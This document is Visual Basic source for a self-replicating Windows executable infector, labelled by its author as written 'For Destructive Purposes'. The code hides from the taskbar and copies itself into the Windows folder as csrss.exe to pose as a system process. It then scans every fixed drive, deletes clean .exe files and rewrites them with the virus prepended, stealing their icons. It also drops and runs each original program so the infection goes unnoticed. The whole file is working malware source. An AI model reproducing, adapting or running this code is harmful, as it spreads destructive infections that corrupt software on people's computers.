' Executable Infector _
'Written By justin[Mohamed FaYeD] _
 '[email protected] _
 'For Destructive Purposes

Dim sPath As String
Dim sOPath As String
Dim sData As String
Dim VirusData As String
Dim FinalEXE As String
Dim lStart As Long
Dim lEnd As Long
Dim sLen As Long
Dim sIcon As String

Private Sub Form_Load()
app.TaskVisible = False

If App.PrevInstance = True Then End

'## Begin OF Dropping

sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"
sOPath = AddBackSlash(App.Path) & App.EXEName & ".MFF"

If LCase(sPath) = LCase(Environ$("WinDir") & "\csrss.exe") Then

Else

Open sPath For Binary As #1
sData = Space(LOF(1))
Get #1, , sData

lStart = InStr(25000, sData, "|||||")

If lStart > 0 Then
 lStart = lStart + 5
 sData = Mid(sData, lStart)
 Open sOPath For Binary As #2
 Put 2, , sData
 Close 2
 If Command$ = "" Then
  Shell sOPath, vbNormalFocus
 Else
  Shell sOPath & " " & Command$, vbNormalFocus
 End If
End If

Close 1
End If

'## End OF Dropping

'@@@@@@@@@@@@@@@@@@@@@@@@@


If Dir(Environ$("WinDir") & "\csrss.exe") = "" Then
sPath = AddBackSlash(App.Path)
FileCopy sPath & App.EXEName & ".exe", Environ$("WinDir") & "\csrss.exe"
While Dir(Environ$("WinDir") & "\csrss.exe") = ""
 DoEvents
Wend
Shell Environ$("WinDir") & "\csrss.exe"
End
End If

If LCase(sPath) = LCase(Environ$("WinDir") & "\csrss.exe") Then

'Do nothing
Else

Shell Environ$("WinDir") & "\csrss.exe"
End
End If
'#########################


Call GetDrives
End Sub

Sub GetDrives()
Dim ObjFSO As Object
Dim Drives As Object
Dim sDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")

Set Drives = ObjFSO.Drives
For Each sDrive In Drives
If sDrive.DriveType = 2 Then
 MsgBox sDrive & "\"
 GetEXEs (sDrive & "\")
 GetFolders (sDrive & "\")
End If
Next
End Sub

Function GetFolders(Folder As String)
Dim ObjFSO As Object
Dim sFolder As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each sFolder In ObjFSO.GetFolder(Folder).SubFolders
DoEvents
Call GetEXEs(sFolder.Path)
Call GetFolders(sFolder.Path)
Next
End Function

Function GetEXEs(Path As String)
Dim exes As String, EXEPath As String

If Right(Path, 1) <> "\" Then Path = Path & "\"
EXEPath = Dir$(Path & "*.exe")
While EXEPath <> ""
List1.AddItem Path & EXEPath
'MsgBox Path & EXEPath
Call InfectEXE(Path & EXEPath)
EXEPath = Dir$
Wend

End Function

Function InfectEXE(EXEPath As String)
Me.Visible = True
On Error Resume Next
Dim Check As Boolean
Check = False

Dim s As String, ss As String, sss As String
Dim sNulls As String
Dim sLenICOINEXE As Long
Dim sLenDif As Long
Dim sLenTemp As String
Dim sTemp As String

s = "1u" & "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
sss = "3u(" & Chr$(0) '& Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0)

For i = 1 To 296  ' Generate 296 Nulls to change 16*16 icon
sNulls = sNulls & Chr$(0)
Next

'First we will check if it is already infected
Open EXEPath For Binary As #1
sData = Space(LOF(1))
Get 1, , sData
Close 1
If InStr(25000, sData, "|||||") Then
'it is infected then do nothing
Else
'it is clean so try to infect it
Kill EXEPath

sIcon = GetIconFromEXE(sData, Check)

If Check = True Then
 'MsgBox "Icon Found"

 sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"
 Open sPath For Binary As #2
 VirusData = Space(LOF(2))
 Get 2, , VirusData
 Close #2

 i = InStr(1, VirusData, s)
 If i <> 0 Then '(1u found)
  VirusData = Left(VirusData, i + 1) ' get to u in (1u)

  VirusData = VirusData & sIcon


  FinalEXE = VirusData & "|||||" & sData
  Open EXEPath For Binary As #3
  Put 3, , FinalEXE
  Close 3

  Exit Function

 Else 'If (1u) not found .. try to find (3u)
  i = InStr(1, sData, sss)
  If i > 0 Then
   'Debug.Print "Second Method Method... (3u found)"
   sTemp = Left(VirusData, i + 1) 'Get to (3u)
   sLenICOINEXE = Len(VirusData) - (i + 297) ' add one byte to 296 coz of (u) in (1u)
   sLenICOINICO = Len(sIcon)

   If sLenICOINEXE > sLenICOINICO Then
    sLenDif = sLenICOINEXE - sLenICOINICO

    For i = 1 To sLenDif
     sLenTemp = sLenTemp & Chr$(0)
    Next
   End If

   VirusData = sTemp & sNulls & sIcon & sLenTemp
   FinalEXE = VirusData & "|||||" & sData
   Open EXEPath For Binary As #3
   Put 3, , FinalEXE
   Close 3
   Exit Function
  End If
 End If 'for if i <> 0

 FinalEXE = VirusData & "|||||" & sData
 Open EXEPath For Binary As #3
  Put 3, , FinalEXE
 Close 3

Else ' Means Check = False
 'virus icon is default for the final EXE
 sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"

 Open sPath For Binary As #2
 VirusData = Space(LOF(2))
 Get 2, , VirusData
 Close #2



 FinalEXE = VirusData & "|||||" & sData
 Open EXEPath For Binary As #3
 Put 3, , FinalEXE
 Close 3
End If ' for check

End If ' for |||||
End Function

Function GetIconFromEXE(ByVal eData As String, ByRef state As Boolean) As String

Dim c As String, sNull As String, ss As String
Dim sPath As String, sIcon As String
Dim l As Long
c = Chr$(0) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(32) & Chr$(32) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(168) & Chr$(8) & Chr$(0) & Chr$(0) & Chr$(22) & Chr$(0) & Chr$(0) & Chr$(0)
ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"


i = InStr(1, eData, "MSVBVM")

If i > 0 Then
'VB EXE
i = InStr(1, eData, ss)
If i > 0 Then
 sIcon = Mid(eData, i)
 'sIcon = c & sIcon & sNull & Chr(255) 
 sIcon = sIcon & sNull & Chr(255)
 GetIconFromEXE = sIcon
 state = True

 Exit Function
End If
Else ' Not Vb EXE so first search for last (... ...@ and compare the size
i = InStr(1, eData, ss)
If i > 0 Then
 If Len(eData) - i > 10000 Then
  i = InStrRev(eData, ss, Len(eData))
  If i > 0 And Len(eData) - i < 10000 Then
   sIcon = Mid(eData, i, Len(eData) - i)
   'sIcon = c & sIcon & sNull & Chr(255) 
   sIcon = sIcon & sNull & Chr(255)
   GetIconFromEXE = sIcon
   state = True

   Exit Function


  Else 
   sIcon = Mid(eData, i, 2238)
   '    sIcon = c & sIcon & sNull & Chr(255)  
   sIcon = sIcon & sNull & Chr(255)
   GetIconFromEXE = sIcon
   state = True

   Exit Function


  End If
 Else 'means If Len(eData) - i < 10000B

  sIcon = Mid(eData, i, 2238)
  '  If 2330 - Len(sIcon) > 0 Then
  '      l = 2350 - Len(sIcon)
  '      For i = 1 To l
  '          sNull = sNull & Chr(0)
  '      Next
  '  End If

  ' sIcon = c & sIcon & sNull & Chr(255)    
  sIcon = sIcon & sNull & Chr(255)
  GetIconFromEXE = sIcon
  state = True
  

  Exit Function

 End If
End If
End If

state = False

End Function
Function AddBackSlash(strPath As String) As String
If Right(strPath, 1) <> "\" Then
AddBackSlash = strPath & "\"
Else
AddBackSlash = strPath
End If
End Function

Private Sub Form_Unload(Cancel As Integer)
End
End Sub